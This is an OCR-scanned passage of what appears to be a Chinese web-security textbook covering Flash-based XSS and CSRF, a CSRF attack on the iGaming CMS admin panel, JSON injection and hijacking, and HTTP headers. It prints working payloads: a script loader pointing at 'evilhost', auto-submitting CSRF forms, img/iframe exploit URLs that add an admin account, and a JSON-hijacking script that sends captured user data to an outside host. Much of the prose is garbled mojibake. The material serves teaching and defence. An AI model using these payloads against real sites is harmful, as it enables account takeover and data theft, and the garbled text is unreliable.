ExternallInterface.call (xss);

(3) i XML #% 3.
1 XML £ ActionScript 3.0 "' {ik A\ JavaScript, ¥ /{8445 XSS Lhd, HiEWF:

import flash.external.ExternallInterface;
var myJavaScript:XML =

<script>
<! [CDATA[
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B6% Flash A%S

function() {
function xss(){
alert ("hijacking");
b
xss();
}
11>
</script>
Externallnterface.call (myJavaScript):

W 6-25 P A AT R «

Gﬁﬂ "W W@ e ek @

[T

HAGE @ @ hatp: £/127.0.0. 1/ test. hinl

AE6-25 IIT XSS

(4) i H4MEE JavaScript.
AL 75 AR Al ok 8 FH 25 45 b & 1) JavaScript QSR 5E R, IXBEFEREAT XSS I &tk — 2
AN XA A2 B A I AN JavaScript B4k

var fun = "var x=document.createElement (\"SCRIPT\");x.src=\"http://evilhost/xss.js\";
% .defer=true;document.getElementsByTagName (\"HEAD\") [0] .appendChild(x):";
flash.external.Externallnterface.call ("eval"”, fun);

EA bbb #82 R Flash $44T XSS 1) 75#%.

[T} %1/ Rash 17 CSRF

Flash 7E% /i fit 7PNl s allowScriptAccess JRTEFN allowNetworking J& 1, I
AllowScriptAccess % il Flash 5 HTML WHEMlif5, WREEALA B UL FH XSS ; 1]
AllowNetworking #31il| Flash 54MBM & FEEGE, MR E A 24 T3 CSRF.

CSRF b SCA PR “ B uhi R Oha ” , A1 XSS —FERE—Fp s WL Web PR PR (BHTFBD ,
CSRF Ffe S M it & LLRIY 42 SCRAE RO R, #lin, BAT—RXTE. K& —HmeeE. #7M L
WITHIKS. A PEH 7 LT CSRF.

allowNetworking J& £ 0] L& (R {8 i F -
| All: swr XHAFEARAMLE AP, HERIME

https://www. l1nuxprobe.com

HZRY AR AR AT S AT A8, 75 N 24 B AT 1) SRR ARSI ST DRI 20 BRI T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
NGB, BATHH AR R E A DY EER BN ks L SR miE oA E e A T R A



Gt Pt oMt
ISy, WAFAE A BRTE AR SORIEAR T 12 T EURIC I R AR Z A, #ii i, B SZE1F AR PE,
B B s R AT AU HOR
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

HZRY AR AR AT S AT A8, 75 N 24 B AT 1) SRR ARSI ST DRI 20 BRI T 3L

THI S IERR AR SR B A IERR

NGB, AT H B R A DR RIS ks SR R o e T R B A

6.5 Fiff Flash i#5 CSRF
none : SWF AT LLEEEMBM apT, thAoTREEAEM swr 8BS apT
LLF API #2%)

' internal : SWF X#HAITRIAMNKE SAMNNEERXE aAr1, B5TRIERAEMMEMER API

*4 allowNetworking # % & 4 internal i,
® pavigateToURL():

® fscommand():
Externallnterface.call().
allowNetworking # &4 none i, Bk 1 _LEI%H 1 APL 4%, EL%8ELLF API:
sendToURL();

FileReference.download();

FileReference.upload():

Loader.load();

LocalConnection.connect();

LocalConnection.send();

NetConnection.connect();

NetStream.play();

Security.loadPolicyFile():

SharedObject.getlocal();

SharedObject.getRemote():

® Socket.connect().

S ARF ] Flash #£4T CSRF, #B-Z Hk A Flash () HTML #7545 (¥] allowNetworking J&PEf 2420 4
all 2 internal. 4 allowNetworking=all I¥, foi/F{d HI 47 9 €83l 5 : 4 allowNetworking=internal
if, JREEAL T S ESAE B.K APL, el BL S Ml s, FIEFEfESEIL CSRF.

{E ActionSeript 2.0 *, FTLM#H] LoadVars &7E Flash W FFEFRIRS 48 2 AL &, W H 7.

stop();

..........._U‘:‘.

var reVar:LoadVars = new LoadVars(): [IEXBERRESBNIEDEFER
var sendVar:LoadVars = new LoadVars(); /IEXBEBRSBHER
sendVar.user = 'cnndry'; //E TR user
sendVar.msg = 'XSS'; //3NiE L TR msg

/ /WA T B value=0

reVar.Value = 0;
reVar.onLoad = getServerInfo;
sendVar.sendAndLoad ("http://127.0.0.1/test.php", revar, "POST") ;
trace("loading..."):
function getServerInfo (Success:Boolean)
{
if (Success)
{
trace(reVar.Value)
}
else
{
trace("false!");
}

1

HIERT UL, £ ActionScript 2.0 &SRR /7@ . 1i#E ActionScript 3.0 1,

J5K ) load Vars J5
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$6#F Flash LS

OIS, SH—RAMAKREIS R 6 8H#aM2CH, A URLLoader 285 URLVariables 2.
Bl , B htp:/127.0.0.1/estphp K% — 4 GET sk, Jtrh URL B n i 2 % 2
user=cnndry&msg=CSRF, LI ActionScript fLHL 1T -

function xss():void

{
var urlLoader:URLLoader=new URLLoader ();

var request:URLRequest=new URLRequest();
request.url="http://127.0.0.1/test.php";
request .method=URLRequestMethod.GET;
request.data="user=cnndry&msg=CSRF";
urlLoader.load(request);

}

%ss();

Hfolth, Ai% POST iR EAE IR 42, ActionScript {XF% 4N F:

import flash.net.URLRegquest;

import flash.system.Security;

var url = new URLRequest ("http://127.0.0.1/test.php");
var shellcode = new URLVariables();

shellcode = "user=cnndry&msg=CSRF";

url.method = "POST";

url.data = shellcode;

sendToURL (url) ;

stop():

{H)E, R Flash SesaiE i, St crossdomain.xml XA fLiF.
fi0i% H Frub 2547 crossdomain.xml, #WIF:

<?xml version="1.0"7>
<cross-domain-policy>
<allow-access-from domain="+*" />
</cross-domain-policy>

300 PR A4 1) 498 HH R AT STV U el ke AT ATy SR, (R mT LA Flash 8k i g . R H
bt AR H Sk A7 crossdomain.xml 3O/, {HJE ¥ 'E T by-content-type S5AHC IR 1E, [RIFE W] LLF)H
Security.loadPolicy File() n#% Hfth 8 7 () #5 RS0 428 BRI, -

| Security.loadPolicyFile("http://www.test.com/sub/crossdomain.xml")

AFKT Flash N Z2HAFRMHBIZXE, @REFETHESHXMR, TUSHEES
BRI
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7 BEACXSS A

Ak, VPR 2 AT BN T R (IR 6] 25 25 300 R FE R sl B9 3 vh (1) XSS i, IX 2 XSS
it Bk 22 HOE DAk B R R P N (R 5 ok A AR A BRI, BRAE O AT kiR 2 1
J7 AT LA JavaScript B A H P 030 88 b

A TR —LRER I XSS NI R XSS B g, B HAbs XSS B EHKM Web %
ki .

fAi#%h CSRF (8i# XSRF) MIFsuhifROpAd, A XSS Bk A AT Hir £ ML i, R
Ay ik NRHT. CSRF Biili s XSS Mikk, TE{EAMELABGIE, BrLA#ih bk XSS B Rfapedk, AT
PEAI A 2R G .

HTTP Response Splitting f&— 4> % HTTP i 5 3k (1) Bk, A TG R0 1 HTTP w3 4% 43
CLR ] AT Mk AT b, — BRI R MR 7 SR A S PR,k nT AR T G 4] ) D N 3 2 R AT B
B .

fE Web 2.0 TG KEIZHAM JISON AR, b bt —FhE R E s s X, MK
JavaScript i) 74, & Web /PP iRESMEH, e, MRS ZE 47 ISON ik, #
LHIA—RIM L8, W XSS Rt

IE ff) MHTML Bl AbFR 847 7E e Ak Pfr, 25512 XSS AR %24 ) 8

Data URI J& H RFC 2397 5& SCF)-FHE D SCHF FLR IR SCRE 1 5 3, 3B e s ik 21 i i o 51
BNEEMHP, %, /] Data URI 0] LL{E Firefox 2531 %5 8% o sCE XSS, 12 XSS fighy
BB T A PR E RS

IE 3 Yo A8 AERR BT 0 L NI, BT PR AR AR M B, ATER PR IX e ] f,  FEERST I
{3l A UTF-7BOM 745 #1724 XSS,

JHP ST A R (4% 1 ¥ F,  in Adobe Flash. QuickTime Fl Adobe Acrobat 2, 4776 — 5[4
AW, XL AR TR R, B Rl USRI A A B S, M
(T3] WL A8 A T I A (R P RO BRI, S22 R PR e AT s Bk L (1 52 5 P

Iy, AFEL TR T Cookie [f) XSS, LA WNiE ] RSS KA HEFT XSS,

Bribz b, MRS AU EAEE . PRGN . B S AR AN W 88 2 TR () 25 S oo AR B R R AR AT fiE
SFHG4 XSS Fili .
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B7E RAXSSEE

L ikt CSRE

CSRF (Cross-Site Request Forgery) BIESutifsRohi, J—h) i Ar e T Rl v i) %2 20 i,
R — R EFH R Bl TR

CSRF £ & XSS —@# T8, A AERIEM XSS Badiff)—Ffh. /S CSRF B
PR AI4 F 5 XSS FRHMR CHR R TS Moy, ANk AR 55 28 i ifg By 16 9 U ) RS g D ), (H
MAEA o

A Z FTLL A4 CSRF, MU K'E S XSS Z WA HFVFEILFE L, LFA CSRF #F54 “UL
WEMIE A", R RE AT R —BE .

7.1.1 CSRF [RIBE|#T

CSRF Mk g B4 4¢3 FH P 76 28 R M Web 3 ERATIEARZ e . (R tlil, Kohidadd
R SR A% ANl R, BRBT R R M. CSRF (Ml FE R e, 2 AL 25T

#=4E CSRF Jei AR A L EG P AL: — IR REAEHIH, M50 Web NI RN
S BB RA: 5, REA Web # A% T Cookie H1 HTTP L7 Bk 522 i 5 B A &b
BRAAAE—SE BB

WK F BT, IAER) Web N HIFEFE JL T #8H] Cookie KM/ & 63 . 2911 )7 B Mk I H
SERCEHRHIE S, WA E—MEIHE P B4 Cookie, HEZEAIRMBICHIN WAS, LSV
) % P43k A ST I, TR AR AN K, Web B SEAR A2 32 Bl Bt it % M i ) Cookie K
PRRG 6y, Wk—3K, AP AT SR HAUER AT LA R 3R .

X, WM =77 Web DUHIAE XS = Ay P b B AR, 05K iy b 2 i 3 1
Cookie, {L#Hx} Web JUHIERCAF (W1 IMG) IR #8241 EAHRNMK) Cookie, XFHIAIE Ty AR
2 BastGAIE, Brdi iE A A iZ G0 30 CSRF X,

AP 7, BB G R RIKIIGE, SSBLADDHERM HTML R840 -

<form action="transfer.php" method="POST">
M-S <input type="text" name="toBankId" /></br>
#8. <input type="text" name="money" /></br>

<input type="submit" value="323" />
</form>

SN fig, S FH P A A R K 5 R S TSR AS IR S IR K . TR, Bkl A e B )
URL, 1 http://www.*** com/transfer.php?toBankld=99&money=1000, ¥ 5E#: A X5 H 5 HF I
oy, REZHERdTHEEHE, e AT IKERE.

#4/> CSRF (L2l 7-1 Bros.

© ZEZFERRATRES.

@ i S AE, TESEHF AR HALA b AR Cookie.
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74 EAEH CSRF

=
o

bank. com

attack. con

A 7-1 CSRF W @iife

@ ZHFE RS TR ARE, FHEV R T =M attack.com, HWWHH T
[l HTML {385 () 9 71 :

| <img src=http://www.*** com/transfer.php?toBankId=99&money=1000>

@ EREACHIF 2 HH B R AiER, BIHAT CSRF.

® ZEEHERNRITKS ZLA8H#DT 1000 JC.

fEIX/ CSRF (it fed, Z2HELZEAMEN . RBEHBE AR A2 U HP a0 E
H, AT AR AR B 1 .

EL_E CSRF E8.2 Bt USRI i) — AN B2, TR i H$_REQUEST ik, S 3 A KK POST
BT B GET ARl M4, WRIFRARSHS POST) 7k IRIUEHE, —ER L L]
TWE? BEREREEEM.

R — A5 CSRF Wi, 3 HiES GET iFkER, K bE, HEMFH<IMG> 5%
SR T LU 5 & B CSRF Xty (HAE, Wit (V5% POST Wik, B4 BAEMRI)HAT
CSRF #UE M = M R ah Beiki, H T E4#H JavaScript 1865,

EHBEIE A POST iR E| Hbruh A, WTLAZ % F ) HTML 165 BL -

<form id="test" method="post" action="http://www.*** com/transfer.php" >
<input name="toBankId" value="99" >

<input name="money" wvalue="1000" >

<input type="submit" value="32%" />

</form>

<script>

test.submit () ;

</script>

or LRTA, Bt F AR CSRF M — A0 M A 5 i 3t . RO Mg —/NER M URL
VAL 250 Ly, B OO £33 K 2 OBE 3 o9 PR R R P B T . e R Bk e 40 P A
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E ? i ‘EA xSS Jﬁﬂ ............................
P 3 38 R TG A V48 R AR
R T 2 JLFh o L6 CSRF 73t
® <img>Fr% @
I <img src="http://www.te***.com/?command">
<img>Lh GET (7 il K5 =4 s, Bril, w882 adr LRI E5 ) Cookie K HH Get i K.
® <scriptHr 3 &I

| <script src="http://www.test.com/?command">

® <iframe>hn2E Ak

| <iframe src="http://www.te***,com/?command">

® JavaScript Jjik

Image %} %:
<script>

var foo = new Image();

foo.sre = "http://www.te*** com/?command";
</script>

XMLHTTP %%
<script>

var post_data = 'name=value';

var xmlhttp=new ActiveXObject ("Microsoft.XMLHTTE");
xmlhttp.open ("POST", 'http:// www.te*** com/file.ext', true);
xmlhttp.onreadystatechange = function () {

if (xmlhttp.readyState == 4)

{

alert (xmlhttp.responseText);

}

}i

xmlhttp.send (post_data);

</script>

HJ5, CSRF 5 XSS Z[alff X Hl mgsin 7-1 Fias.

Fz 71 CSRF 5 XSS X5
CSRF XSS
2 Pk Dy P A
[HES AT EBMA, W GET (¥ CSRF &0 JavaScript S5 A
1 Jg PR FH T B A AE 7 Xt P N BLAT IE it 36
B 4 I B UF H T referer, {HHIBUFES. token WAL, R ESSE
KT (1) R MR XSS Jeifl, M4 A0 fiEth 7 {E CSRF Hif
(2) EFIH P 0 £ 05T St dg 4
(3) CSRF (RS EACHS ] by T8 = 3 o, B Lk e P (X5 A b 50 2B B0 XSS Wi, Mkt
fiEk b/ #0 CSRF
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A
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74 RN CSRF

7.1.2 CSRF sLlu RS0t

b 180K CSRF Buhifa e, #,TMK, BATLL AL R4 uE .

BEAT CSRF MR 2 iGaming CMS. R — k& iR Mus BT PHP REE, )5
G fFE—1> CSRF ¥&ild, FIH]Zdai v LA NS B A K5 .

GG GATI A, 17T http:/127.0.0.1/iGamingCMS/admin/login.php, St 7-2 fix, W
ABRNE B 53 I 5 I #55 admin. S0 B A B S 6 )5, il Administration Tools ££ff] User Manager
I, W 7-3 R, WESEERREGRAES, W 7-4 k.

£ iGaming CNS Admin Control Panel Nozilla Firefox
:E WRE EWY F2E =2 IAD wWaH
6 g o L] hnpf127.0.0.14GamingCMS/admindogin.php Bt B Fs
| iGaming CMS Admin Control Panel = i
B e
Mg anaEge
‘f; Flarnay
t . Username: | admir :
ey . T
i fattwargd  eeses
[toa) iR | us
Powersd by iGaming M5 - Copynght £ 2004-2005 -
;;Q;-. D dat
AE 7-2 =F iGaming CMS B& AE7-3 HABPEE
M 7-4 PATBLF S, REIRASIA—AEI B admin. FEBURATRIT CSRF RN

H 5K .

SCjE CSRF ik, JXCH e Fl b Myis & & ik Kk 2 ¥, wT LLAIA Firefox ) Firebug K 3KHLiE Kk &
¥ . 4TJF Firefox % 3%, & iGaming ()5 6&, A SR, i [Add User) #&4l, &
RS ERNMEERGER, WwE 7-5 fixs.

Usermame: 111111

E-mail address: 13cccr

| Add User | Manage Users

First Name  firsthd

Last Name Lasth

I [ admin
- Password: 111111

| Edit User ” Celete User ” Reset Password ]

JE -4 EEESE | JE 5 ASERMMEEARE
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SRJG4TTF Firebug, F#di [$225) #4l, ML Firebug BAR FXIKIRFERWERE R, WA
7-6 Fi7R.

e
B T

aE 7-6 Firebug e FAEREE

iS5 —I0 http://127.0.0.1/iGamingCMS/admin/users.php, A LG BI¥s & 8 51 i (il k5 &
M POST ZHFANR, Wk 7-7 Fias.

= POST users.php 200 O 127.0.0.1
SE® Post W EFF HTHML

=
do add _confirm
email 1Zccer
fname firsth
Iname Lasthi
password 111111
psendo 111111
submit Corfirm

BiE
Content-Type: application/s-vwww-form-urlencoded
Content-Length: 100

pseudo=1111118email=1%40¢c.cn&fname =firsth &dname s LastN&password w111 111& submit wConfirm &domadd_confirm

AB7-7 BEEPOST H¥
AT, IXIK POST #1E UK Hutik FAR <2 Boid sk Pk
sk k.

! http://127.0.0.1/iGamingCM5/admin/users.php

POST Z4{:

pseudo=111111&email=1%40cc.cn&fname=firstN&lname=LastN&password=111111&submit=Confirm
&do=add_confirm

B J5 #9385 () CSRF Expliot 41°F :

http://127.0.0.1/iGamingCMS/admin/users.php?do=add confirm&email=1%40cc.cn&fname=firs
tN&lname=LastN&password=111111l&apseudo=222222&submit=Confirm

% Expliot (OE I JRERIN—A4 720 222222, %S4 111111 (ISR RIKS .
MR GRRET, MHbbER v nlizeies, RERBIH D SHRERETES. Sk, XK
BERFEN T —MEEAKS, WE 7-8 FiR.
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7.2 Hacking JSON

|
| [0 111111

| [0 222222

| ] admin

![LEdII User ]l_ Delete User ”_ Reset Password ]

aE7-8 FMEERMAL
X/~ CSRF Expliot & fiEI A F]—26 HTML #rZ 0@ A, W img. iframe %%:

<img src="http://127.0.0.1/iGamingCMS/admin/users.php?pseudo=csrfertemail=111Ro.
com&fname=111111&lname=111111&password=111111&submit=Confirm&édo=add confirm">

com&fname=111111&lname=111111apassword=111111&submit=Confirm&ado=add confirm"></iframe

<iframe src="http://127.0.0.1/iGamingCMS/admin/users.php?pseudo=csrfersemail=111€o.
>

7.1.3 CSRF #4957 A4

223 kB F SR, AT LU CSRF B IR K, T CSRF Jil ¥ /7 76 T Mz .

FAHEE, MRS I MRFEMER, CSRF M FA i 1EH oK.

B BRI 5 S AFAE XSS i, M 34 A <script>alert(0)< /script>2 28 IAHD H- 228 (# fig
fibk XSS. AlRRXAERE A GRE A S, Rin, AT CSRF &, W LMERIRAEATFFIFK XSS
Wil A1 T .

JSON Jj&—Fhie g i B Ao Heht :X, R IUHE. 5 THRIEMME, H TR EHRARS S22
T#) () B3 A ¥, % Google Yahoo FIICAt—28 2y &) FBAL FH JSON [H] 3 K47 FEAH R ) Web JIRSS .

JSON LA HTTP F7 X4 Usia], JLF A BT LA #4T TT JSON Miuhk. 4 Sl F F F ek
T RAKEL JSON ¥(dii, A4 JSON RfefEh L AEIAHAMA, FFEERSBE. HE, R
R K47 TF, 4 JSON B4l T— M5l HTML B, 35 4 h A EERERs
FEA e A )

AHTKE R ISON R FH 22 AT Ve ERTT, EBEZ AT, ihTRATSE R BB —F ISON [MIERKIR.

7.2.1 JSON #fiR

JSON (JavaScript Object Notation) &t Web /W ] v e W {5 B 4ig L, 1 XML —#F¢, JSON
AR AT W SCAAS B —Fhifidk. :
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B7E RAXSSEE
H:52 JSON & JavaScript (174, FTLAZE Web FRF PR S MH, HAERERHA “AMEX”,

W F R

I "name" : "John"

ZIRMEAHIS PR (FERES 9. BYS. H. b, {ar LU BT B R
¥ CREEEUT A HO:

T (FEXE 54,

W (true B¢ false);

B (fEFES )

MR (EAEFE S H):

null.

JSON A TPyRh BB iy iy Al i,

JSON RIS HET, WU AHAEX, WF:

var myJSON ={ "firstName" :"John",
"lastName" :"Doe"};

document.writeln (myJSON, firstName); // il John

document.writeln (myJSON.lastName); // it Doe

XA RPN BFRRAERT, 2> firstName Fil lastName, 300 FFF 82680, o] LURATAA
ff] JavaScript X} % .
Schr b, 0SS R JavaScript i 6] E5 4T

firstName = "John"
lastName = "Doe"

i JSSON i BAE /65 h 155, SAPadE ML, W FEFR:

var employees = |

{ "firstName":"Bill" , "lastName":"Gates" },

{ "firstName":"George"™ , "lastName":"Bush" },

{ "firstName":;"Thomas"™ , "lastName™: "Carter" }

1:
Al LLX PR i) JavaScript X% ¥4l (5 T

[ employees([0].lastName;

IR (1] 1) PN 7t

| Gates
WHTETE, JSON A T LURAT M B2/, XEAT, H ol UREARRM 4 555, o
var employees ={"accounting": [ // accounting & employees BI— ¥4

{"firstName":"John", // £8—T1TE
"lastName" :"Doe"},

{"firstName":"Mary", //F_-1TTE
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7.2 Hacking JSON

"lastName" :"Smith"}
1.
"sales" :[ // sales & employees 895 5h— T84
{"firstName":"Sally", /[ B—1TTE
"lastName" :"Green"},

{"firstName":"Jim", /BT TR
"lastName" :"Galley"}

}
{EIXABI 1, employees & — 0%, EH M EYE: Accounting Fil Sales. Accounting f2&—
ANHAT PN JISON A R BAL, 53 5 %78 T P9 45 BE B3 16 42 75 R, Sales tB2 — MM JSON
XREAL, MR RT P4 TAEEHESITNR TR T .
FiAT B AR IR AF 4E employees X%, Uy )X L6 84l B WL A6 Ay SO sibRic, Wik

| document.writeln(employees.sales[0].firstName +' '+ employees.sales[0].lastName);

ZiRmE 7-9 fo.

ik 0 é}c:\ﬂocuﬂents and Settings‘Administrator\BE\test. himl

Sally Green

a[E 7-9 iAfE) JSON BUEARIEIE

FeAI1 742k A JISON %5 I i i 35 5.
(1) A4 userInfo.json 3L, WHEN:

| var userInfo ={"name":"test"}

HEE{E<script#r & 5| userInfo.json B v], HAACH W F:

<script src="userlInfo.json"™ ></script>
<script>
alert(userInfo.name);
alert(userInfo.length);
alert(userInfo.substr(0));
</script>

(2) %A test.json 3T, WAN:

I ("name®:"123"}

P I A8 vl i XMLHttpRequest K JSON SCA AR, 2R JEHIT eval() At s 10 # 4e
A AT F R 00 454 -

httpRequest = getHttpRegquest() //f# XMLHttpRequest 31 &
//get test.json

var userInfo = eval (httpRequest.responseText)
alert (userInfo.name) ;
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$7H RAXSS Rl

ix Bt eval (JSON ¥dft) 4T JSON 1%, SRJ5FiMit JavaScript X S k475 H AL PE.

7.2.2 E&i JSON SEAZIT

N4, WEMEEEGIA Web 2.0 IS, 3 HKRMAH Ajax 5 JISON FHA, #id L@
¥, MR R EE IR, (RXEER AR T — 5 4 n .

fT JSON 7rifi%k L& JavaScript 744, Frol—Mal LMER eval OfF A s BSR4 K,
{8 eval)HikdEW A %4, WRAERFREERIEMAE JavaScript F##HT JISON 8, FASHE
1 JSON #% 5% JavaScript Xf %, XK R JSON i b % T ERENG LIS, Wal e T34
H R o 22 4 ]

B4 Web 2.0 M, EFA/EEBEHRESRER, hEIGHEA:

| name:<img src=javascript:alert(l)>

RIGIRATH MR85
At JSON HdlE#g Ut F -

| wvar userInfo = {"name":"$name"};

29 oAb B P AT T T B E A S Y JSON il

| var userInfo = {"name":="<img src=javascript:alert(0)>";

£5 53 alert(0) 452 3 F /7 3] YO 48 R AT 40T -

HgEn] WL, JSON FENfEHE ™4 XSS.

£E Web A, J#id Ajax BiARALEE JISON Hdts ity 7 PR AE “[R183%”. 24 JISON Hodi ST
TN 5 S F S A — AN ) R B, %R L JSON ¥l 45 b 2 3. X [REB iZ s I 76 3
=7 JSON %4fg kb7 o1

HELe iR 25 e P e v R S 4 -, (A P eT LUl URL B ek $4a . BARW T BT R:
| http://www.*** com/feed.php?format=JSON&callback=processJSON

PR ] 2 g e — L A ) {8, T i 256 B .

B — A B ATAE http//blog.test.com, FH4 R T HE M JSON MRS, RV AL
JavaScript i[9 45 B, X JSON T B4t — N1 4 7

WIRE 58] ID Sk 10 1) profile, M EAREW F M GET i REP AT

| http://blog.***, com/Getprofile.html?callback=profileCallback&id=10

IR 55 4% & [2] -

| profileCallback({"profile": [{"name":"John", "email":"john@*** . com"}]})

i 9] ¥) profileCallback()ef & LA JSON )i ! &35 1E b 2 8.
Hfokh, WRRXEM IDZ 11, WAKEBHIREZ:

| profilecallback({"profile™:[{"name":"Smith","email™:"smith@***.com"}]})
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7.2 Hacking JSON

& Bt # 1) H A5 24 test.com, blog.test.com J&'& A8 28 IR 45 5 F DU, Gl it 4047 25 1 s ARG,
B F f B
<div class="code">
<pre><script>
function profileCallback(result) {
document .write (result.profile[0] .name);
document .write ("<br>");
document .write (result.profile([0].email);
}
</script>
<script src="http://blog.*** . com/Getprofile.html? callback=profileCallback&id =10"
src="text/javascript"></script></pre></div>

X BARHS R VFEE IR U ] blog.***.com, UAKTR %t BdiE 1E A B8 f&i%45 profileCallBack, il
oA, R A A5 R F

John
John@*** , com

) I T s JE AT E*** .com LN FH E AR MUEATIAE RS T, A H TS = ARl {5 ) JSON
{5 B, XAEAGEE 0 A P8R Bk ok, 1 H S8 508 P Z DR E BEATEBEEDR
JavaScript {485, 84 H ki v] fE5Z 5] XSS Hiti.

B F

profileCallback({"profile”: [{"name":"Jack", "email™:"<script>alert ('JSON
XSS') ;</script>"}1})

7.2.3 JSON Hijacking

JSON Hijacking 104t JavaScript Hijacking, %1 foiF K2 #B B #E N —A 5 ZIEH 1
3 o T R

BT, Web 305528 020084 [A] PR S B%  (Same Origin Policy), LS/ 652 2 M b Y
Wiki . [RIRREMEHLE : A H] JavaScript i ia) BN GL K N 28RS, JavaScript A1 006 201 #8R 9 T
AR 3. o AN R HR ) Y5 B ) i, 8 3 D9 3l {8 mT LAk H % P i FEIERIZ AT JavaScript, #ET A
At 1o 3ty o B RBURR A B

£ Firefox SFBiAed, R = (1 JSON oK 20/ (1 9 T 1 i 28 2 Bk ) %2 2 R,
B o M KO8 =7 OB I, AT 2 TSk 2 T B AR IR, T 3 =0 AT BACh BT AR Hi M T
1F 458 ] B DR U S B, MRS PR B W 3R 55 r . DT JSON ¥, Bt Biti 7 ki 2 JSON
Hijacking .

ifiid JSON Hijacking, M n] LALGeid Web ot 2% ch {3 FH () [R5 SR B - OF R /= () B A 2

I 11 A K S R ARH BT LA JSON Hijacking M 30H R E

@ M IER VIR ARG AL W http:/fiwww.*** com/, {535 UGB A B9%8AE, R
i&[A] Cookie {5 B\, Wik 7-10 AR,

@ HMPERA GBS AT, ViR 7T AERE A, W http//www.*** com/, 5 EiK
b 2 sk H P U 1) http://www. *** com/ft]— /N8P, W 7-11 Fios.
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ek, &[0 cookie

AE7-10 £BD

GET *** huml
f v

. —
I

CSRF ik ik
<seript>
JSON hijacking

</seript>

E7-11 $EE

@ P RAS N Z AT Cookie {5 B, MM KR H— GET WK, {5454 RS TRIEM]
> JSON H4, 30 %0 8855 A2 W % P () JSON fii BEs R uh o, i 7-12 fros.
b, RS HTELT F S E hitp//www.*** com L EE{E .

@ GET info.json
i ! N

) 1
=y <J‘“ 1

Wb i

[ {"name":"john"."money": 10007}, S O 1
gy o {"name":"ken","money":3000} | L L

AE 7-12 S$BE

fk el W, S JSON Hijacking 77 2t £+ CSRF HiAR. SLPx b, JSON Hijacking 1% 1= CSRF
ff)—FP, {5 CSRF 2 —FhEH H A, BBt nl a8l P o 00 a8 R il R e E My, JEE
#3[a]5%, A JSON Hijacking B, JCk &7 a] fE#E 10 BB .

FEin, A — E-mail F 7, IEAALFT FF30 U028 (658 —F 90 e B2 & K E-mail K/,
FFJ JA 7 11 300 S0 0T i35 LA AN R TUBIE 12 S AT JSON Hijacking BGifi, 34 %
] W o T, B nT LA ) JavaScript iU SR B RL

BAE, bR — e AR . B P CEl) S RF T E-mail, E-mail Fi}
EHVFBHURG R, MEEE Ajax () GET JrikM\ JSON M55 8% FIRIUEURAS . .

| GET: /info.jsen

it 45 284 ] JSON A8 3 1) F80 4 a3k 47 i ¥ «

l ["Philha", "my-confession-to-crimes", 7423.42]
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7.3 HTTP Response Splitting

[{"fname":"Ben", "lname":"Chess", "phone":"6502135600", "purchases":60000.00,
"email":"benfmailsite.com" },
("fname™:"John", "lname":"0O"'Neil"™, "phone™:"6502135600", "purchases":120000.00,

"email":"john@mailsite.com" }]

X, WRZHEEFITIF T —AEERES, ) EEE B S A0k BB A s, S
AR F:

<script>

function Object () {

this.email setter = captureObject;
¥

function captureObject(x) |

var objString = "";

for (fld in this) {

objString += fld + ": " + this[fld] + ", ";

}

objString += "email: " + x;

var req = new XMLHttpRequest();

req.open ("GET", "http://wwwWw.*** _ com?obj=" + escape(ocbjString),true);
// BEBIAN N AED URL S —HiEH

req.send(null);
}
</script>

<script src="http://www.*** . com/info.json"></script>

RS h A P A~ <seript>kr %8 . 55 <script>hr 2 E ] JavaScript SHFFIRILGE: B -
<script>$57 % H KA JSON X 4.

RHEABHENIE, Web P T3S 7E A 1% 175 3K ) [ i b 2 KX AH W21 [¥) Cookie 28EL, BT LA P 4
T SR e th b A g JavaScript JEIASER N 3 5 W 8% o .

HTTP Wi % 454> (HTTP Response Splitting, HRS) th##54f CRLF {147 (CRLF Injection
Attack), JE4EI Y88 1 BEBE R S BN HTTP $1:3k45 B8 HTTP Hdituh, R/ AE
SCHTTP S BT R A& B AL 3 s ag o .

A RIS RS BORZ M e B, Kb, HAIEMN T HTTP Header FF4h, Ri5—
AT CRLUF 7 $HR HTTP Wi 4R 4 Bk . — B BEAR & A SR B, 3 m] LAER ST ) HTTP
Wi 1 45 43 01T XSS

B R G R B, B S5 % T f# HTTP Header.

7.3.1 HTTP Header

HTTP (Hyper Text Transfer Protocol) Jili SCAAEH VMU AR, A& H 1T M 546 1938 H B
e HTTP PpCRA] 1 s/ N BERY , B0 Y28 sl At 2 1 s A tH ok, IRSS 845w py, JREEn
P 7-13 BoR.
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HTTP
Headers

7
HTTP Request

>

HTTP Response

HTTP
Headers

IIHHHHHHHI

Al 7-13 HTTPiEREESE

A ER S AR R A B AN — > URL, #10 http://www.playsec.com/, | %28 ¥ [ IR 95 28 ¥ig
K i% )15 K Header i1 F:

http://www.playsec.com/

GET / HTTER/1.1

Host: www.playsec.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.13) Gecko/20101203
Firefox/3.6.13

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Accept-Language: zh-cn,zh;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: GB2312,utf-8;g=0.7,*;g=0.7

Keep-Alive: 115

Connection: keep-alive

MR sE Rz J5, P 305028 0T G2 B0 F () HTTP Wi by «

HTTP/1.1 200 OK

Content-Enceding: gzip

Vary: Accept-Encoding

Date: Thu, 20 Oct 2011 08:02:24 GMT
Server: LiteSpeed

Connection: close

X-Powered-By: PHP/5.2.17
Content-Type: text/html
Content-Length: 31

A )L, HTTP Headers 55 /2 HTTP il 3KF1 HTTP WALy, B A, 7 & il W as. i
RO, R4S 28 S AH KIS B .

HTTP Header K{£4} 4 Request Fl Response W4, 43537 1 %% - i B IR 4548 RO K i &,
IR 55 4% 21 25 7 i 014 ) 2 & o

R 7-2 FrRFI S 2% WA HTTP 1§kt k.
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7.3 HTTP Response Splitting

x7-2 HTTP i&k Rk
MR % B B
Host iR A A
User-Agent B B ) A Y R R A
Accept GIE; 240k 5
Accept-Language BIE: 3=k o=
Accept-Encoding nHEAZ 1Y) PR 4 S 1Y
Accept-Charset A FESZ VN BRI
Cookie BRI P Cookie
If-Modified-Since B g (A8 A (4 gt s s i f)
If-None-Match B W B G A AR AT

